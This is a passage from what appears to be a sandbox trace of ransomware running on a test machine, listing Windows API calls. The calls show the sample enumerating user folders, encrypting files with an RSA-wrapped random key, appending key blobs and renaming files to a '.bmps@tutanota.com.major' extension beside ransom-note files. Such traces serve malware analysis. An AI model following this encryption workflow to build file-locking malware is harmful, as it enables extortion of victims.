pszString="BBMRiZfzno1eJUeaeb26Co7SWBu4x6yyamU7+gtU6tcIA6v1aBwLsda0K8Yfw0XS\nzUsiJx6Ud93d1gD8LWeKr+nXmXIaYk6P2KQzHohKnVxJZwCFdUEWwzEahntkvsLk\nSebIJ/aYQEAWv7/niqaSS1z6PA06LDuBf8/4/OiF3I+KIJGXp0ClUUf4il9LsjMY\nM/qJ5bvxIfaxzIfwQguKTGI3N4r73jylKuPjVIeLPX/IOxzkkHdk2zUxwfVFKdDf\nsQnGAEUdHidsI5TmpF9FejGfJ8+69CRSt5MSYqElpcSBDRvuGoyetiPSTjBieITA\nqDQD9ermOrC59mHPc3OzOg==\n", pcchString=0x2e3f9a8) returned 1 [0156.104] WriteFile (in: hFile=0x6c0, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.104] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.104] WriteFile (in: hFile=0x6c0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.104] CloseHandle (hObject=0x6c0) returned 1 [0156.104] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.104] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Documents\\SpY7Gp\\hyTP eabQy_cNDtOCad.doc" (normalized: "c:\\users\\fd1hvy\\documents\\spy7gp\\hytp eabqy_cndtocad.doc"), lpNewFileName="\\Users\\FD1HVy\\Documents\\SpY7Gp\\hyTP eabQy_cNDtOCad.doc.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\documents\\spy7gp\\hytp eabqy_cndtocad.doc.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.108] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0340 | out: hHeap=0x570000) returned 1 [0156.108] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c0b68 | out: hHeap=0x570000) returned 1 [0156.108] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd970 | out: hHeap=0x570000) returned 1 [0156.108] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cda60 | out: hHeap=0x570000) returned 1 [0156.108] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0156.108] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beb00 | out: hHeap=0x570000) returned 1 [0156.108] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70a8 | out: hHeap=0x570000) returned 1 [0156.108] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0156.108] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Favorites\\Links\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd449a79e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1775287a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x6311c0 [0156.108] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b90 | out: hHeap=0x570000) returned 1 [0156.108] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c73c0 [0156.108] GetLastError () returned 0x0 [0156.108] SetLastError (dwErrCode=0x0) [0156.108] GetLastError () returned 0x0 [0156.108] SetLastError (dwErrCode=0x0) [0156.108] GetLastError () returned 0x0 [0156.108] SetLastError (dwErrCode=0x0) [0156.108] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4128 [0156.108] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be9f8 [0156.108] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be9f8 | out: hHeap=0x570000) returned 1 [0156.108] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c0b68 [0156.109] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631440 [0156.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631440 | out: hHeap=0x570000) returned 1 [0156.109] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405b8 [0156.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405b8 | out: hHeap=0x570000) returned 1 [0156.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c0b68 | out: hHeap=0x570000) returned 1 [0156.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4128 | out: hHeap=0x570000) returned 1 [0156.109] FindNextFileW (in: hFindFile=0x6311c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x43087f08, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd449a79e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1775287a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0156.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c73c0 | out: hHeap=0x570000) returned 1 [0156.109] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0156.109] GetLastError () returned 0x0 [0156.109] SetLastError (dwErrCode=0x0) [0156.109] GetLastError () returned 0x0 [0156.109] SetLastError (dwErrCode=0x0) [0156.109] GetLastError () returned 0x0 [0156.109] SetLastError (dwErrCode=0x0) [0156.109] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0156.109] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be3c8 [0156.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be3c8 | out: hHeap=0x570000) returned 1 [0156.109] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c0b68 [0156.109] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631200 [0156.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631200 | out: hHeap=0x570000) returned 1 [0156.109] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40390 [0156.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40390 | out: hHeap=0x570000) returned 1 [0156.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c0b68 | out: hHeap=0x570000) returned 1 [0156.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0156.109] FindNextFileW (in: hFindFile=0x6311c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x4360b38e, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x4360b38e, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x4360b38e, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0156.109] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0156.109] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0156.109] GetLastError () returned 0x0 [0156.109] SetLastError (dwErrCode=0x0) [0156.109] GetLastError () returned 0x0 [0156.109] SetLastError (dwErrCode=0x0) [0156.110] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0156.110] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0156.110] GetLastError () returned 0x0 [0156.110] SetLastError (dwErrCode=0x0) [0156.110] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c0b68 [0156.110] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c0b68 | out: hHeap=0x570000) returned 1 [0156.110] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0156.110] FindNextFileW (in: hFindFile=0x6311c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1775287a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1775287a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1775287a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0156.110] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0156.110] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7498 [0156.110] GetLastError () returned 0x0 [0156.110] SetLastError (dwErrCode=0x0) [0156.110] GetLastError () returned 0x0 [0156.110] SetLastError (dwErrCode=0x0) [0156.110] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7410 [0156.110] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7498 | out: hHeap=0x570000) returned 1 [0156.110] GetLastError () returned 0x0 [0156.110] SetLastError (dwErrCode=0x0) [0156.110] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c0b68 [0156.110] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c0b68 | out: hHeap=0x570000) returned 1 [0156.110] FindNextFileW (in: hFindFile=0x6311c0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1775287a, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x1775287a, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x1775287a, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0156.110] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0156.110] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c0b68 [0156.110] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.110] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Favorites\\Links\\desktop.ini", dwFileAttributes=0x80) returned 1 [0156.111] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6438 [0156.111] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0156.111] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6438 | out: hHeap=0x570000) returned 1 [0156.111] CreateFileW (lpFileName="\\Users\\FD1HVy\\Favorites\\Links\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\favorites\\links\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c4 [0156.111] GetFileSizeEx (in: hFile=0x6c4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=80) returned 1 [0156.111] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be9f8 [0156.111] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be738 [0156.111] ReadFile (in: hFile=0x6c4, lpBuffer=0x5be9f8, nNumberOfBytesToRead=0x50, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5be9f8*, lpNumberOfBytesRead=0x2e3f9b4*=0x50, lpOverlapped=0x0) returned 1 [0156.112] SetFilePointer (in: hFile=0x6c4, lDistanceToMove=-80, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.112] WriteFile (in: hFile=0x6c4, lpBuffer=0x5be738*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5be738*, lpNumberOfBytesWritten=0x2e3f9b4*=0x50, lpOverlapped=0x0) returned 1 [0156.112] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be9f8 | out: hHeap=0x570000) returned 1 [0156.112] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be738 | out: hHeap=0x570000) returned 1 [0156.112] SetFilePointer (in: hFile=0x6c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x50 [0156.112] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.112] WriteFile (in: hFile=0x6c4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.112] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.112] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.113] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.113] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0156.113] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="Fd1AwOyVpoP+NQNTzkjQo54jRsYWs62SXZPGr+pa+0oGRAxK0FIKo/ZUE8cUfl5v\nSMVFWxqof/xBesWxRtEfxY7qfIEGbhb9ijwysqlvSV4c4hYKBkDVWxWCZMgE9rpy\nD16v4Xf/okDQWg+JbhYp1V6yrfEINdQtpRIzZRmTlSZX3OK0V5Z31JXF/kZtjPsa\ncGa0u8Cq6O2HKXRgkutVsCCTO1zzfiLmqq+e9RoBZ31XVu33De1cTcwtloOlPGqT\nsOIk2X770FuJr+brOqLFny2iMse6G3AbbZwUERndiOAFNQ30E9YLQ/7P9ycxXa9M\nmGMma+twebvfTyEI1JgFhA==\n", pcchString=0x2e3f9a8) returned 1 [0156.113] WriteFile (in: hFile=0x6c4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.113] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.113] WriteFile (in: hFile=0x6c4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.113] CloseHandle (hObject=0x6c4) returned 1 [0156.113] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.113] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Favorites\\Links\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\favorites\\links\\desktop.ini"), lpNewFileName="\\Users\\FD1HVy\\Favorites\\Links\\desktop.ini.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\favorites\\links\\desktop.ini.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.115] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0156.115] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c0b68 | out: hHeap=0x570000) returned 1 [0156.115] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0156.115] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6918 | out: hHeap=0x570000) returned 1 [0156.115] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c75b8 [0156.115] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0156.115] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c71c8 | out: hHeap=0x570000) returned 1 [0156.115] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccaa8 | out: hHeap=0x570000) returned 1 [0156.115] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Music\\CJCEOTnU\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab79db00, ftCreationTime.dwHighDateTime=0x1d4c6e4, ftLastAccessTime.dwLowDateTime=0x38999a0, ftLastAccessTime.dwHighDateTime=0x1d4cb3d, ftLastWriteTime.dwLowDateTime=0x179daee2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x631240 [0156.115] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0156.115] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0156.115] GetLastError () returned 0x0 [0156.115] SetLastError (dwErrCode=0x0) [0156.115] GetLastError () returned 0x0 [0156.115] SetLastError (dwErrCode=0x0) [0156.115] GetLastError () returned 0x0 [0156.115] SetLastError (dwErrCode=0x0) [0156.115] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0156.115] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be8f0 [0156.115] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be8f0 | out: hHeap=0x570000) returned 1 [0156.115] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c0b68 [0156.115] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631680 [0156.115] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631680 | out: hHeap=0x570000) returned 1 [0156.115] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405d0 [0156.115] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405d0 | out: hHeap=0x570000) returned 1 [0156.115] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c0b68 | out: hHeap=0x570000) returned 1 [0156.116] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0156.116] FindNextFileW (in: hFindFile=0x631240, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab79db00, ftCreationTime.dwHighDateTime=0x1d4c6e4, ftLastAccessTime.dwLowDateTime=0x38999a0, ftLastAccessTime.dwHighDateTime=0x1d4cb3d, ftLastWriteTime.dwLowDateTime=0x179daee2, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0156.116] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0156.116] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0156.116] GetLastError () returned 0x0 [0156.116] SetLastError (dwErrCode=0x0) [0156.116] GetLastError () returned 0x0 [0156.116] SetLastError (dwErrCode=0x0) [0156.116] GetLastError () returned 0x0 [0156.116] SetLastError (dwErrCode=0x0) [0156.116] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0156.116] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be630 [0156.116] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be630 | out: hHeap=0x570000) returned 1 [0156.116] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c0b68 [0156.116] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631200 [0156.116] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631200 | out: hHeap=0x570000) returned 1 [0156.116] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40570 [0156.116] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40570 | out: hHeap=0x570000) returned 1 [0156.116] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c0b68 | out: hHeap=0x570000) returned 1 [0156.116] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0156.116] FindNextFileW (in: hFindFile=0x631240, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ade3c50, ftCreationTime.dwHighDateTime=0x1d4d468, ftLastAccessTime.dwLowDateTime=0x2fd37ba0, ftLastAccessTime.dwHighDateTime=0x1d4cdc4, ftLastWriteTime.dwLowDateTime=0x2fd37ba0, ftLastWriteTime.dwHighDateTime=0x1d4cdc4, nFileSizeHigh=0x0, nFileSizeLow=0x2253, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="BvhuPrvJCAhvBb.m4a", cAlternateFileName="BVHUPR~1.M4A")) returned 1 [0156.116] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0156.116] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7018 [0156.116] GetLastError () returned 0x0 [0156.116] SetLastError (dwErrCode=0x0) [0156.116] GetLastError () returned 0x0 [0156.116] SetLastError (dwErrCode=0x0) [0156.116] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6b08 [0156.116] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7018 | out: hHeap=0x570000) returned 1 [0156.116] GetLastError () returned 0x0 [0156.116] SetLastError (dwErrCode=0x0) [0156.116] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0156.116] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0156.116] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6570 [0156.117] FindNextFileW (in: hFindFile=0x631240, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b292de0, ftCreationTime.dwHighDateTime=0x1d4c8b6, ftLastAccessTime.dwLowDateTime=0x9be5edc0, ftLastAccessTime.dwHighDateTime=0x1d4d3b7, ftLastWriteTime.dwLowDateTime=0x9be5edc0, ftLastWriteTime.dwHighDateTime=0x1d4d3b7, nFileSizeHigh=0x0, nFileSizeLow=0x1502d, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="gQMQhsJA5kQ1UM.mp3", cAlternateFileName="GQMQHS~1.MP3")) returned 1 [0156.117] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b08 | out: hHeap=0x570000) returned 1 [0156.117] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7528 [0156.117] GetLastError () returned 0x0 [0156.117] SetLastError (dwErrCode=0x0) [0156.117] GetLastError () returned 0x0 [0156.117] SetLastError (dwErrCode=0x0) [0156.117] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0156.117] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7528 | out: hHeap=0x570000) returned 1 [0156.117] GetLastError () returned 0x0 [0156.117] SetLastError (dwErrCode=0x0) [0156.117] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4128 [0156.117] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4128 | out: hHeap=0x570000) returned 1 [0156.117] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0156.117] FindNextFileW (in: hFindFile=0x631240, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x179daee2, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x179daee2, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x17a50ae0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0156.117] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0156.117] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0156.117] GetLastError () returned 0x0 [0156.117] SetLastError (dwErrCode=0x0) [0156.117] GetLastError () returned 0x0 [0156.117] SetLastError (dwErrCode=0x0) [0156.117] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0156.117] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0156.117] GetLastError () returned 0x0 [0156.117] SetLastError (dwErrCode=0x0) [0156.117] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c0b68 [0156.117] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c0b68 | out: hHeap=0x570000) returned 1 [0156.117] FindNextFileW (in: hFindFile=0x631240, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd58aed80, ftCreationTime.dwHighDateTime=0x1d4d3ff, ftLastAccessTime.dwLowDateTime=0xdcc0dae0, ftLastAccessTime.dwHighDateTime=0x1d4cf65, ftLastWriteTime.dwLowDateTime=0xdcc0dae0, ftLastWriteTime.dwHighDateTime=0x1d4cf65, nFileSizeHigh=0x0, nFileSizeLow=0xcc67, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="yh-hv8F_.mp3", cAlternateFileName="")) returned 1 [0156.117] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0156.117] RtlAllocateHeap (HeapHandle=0x570000, 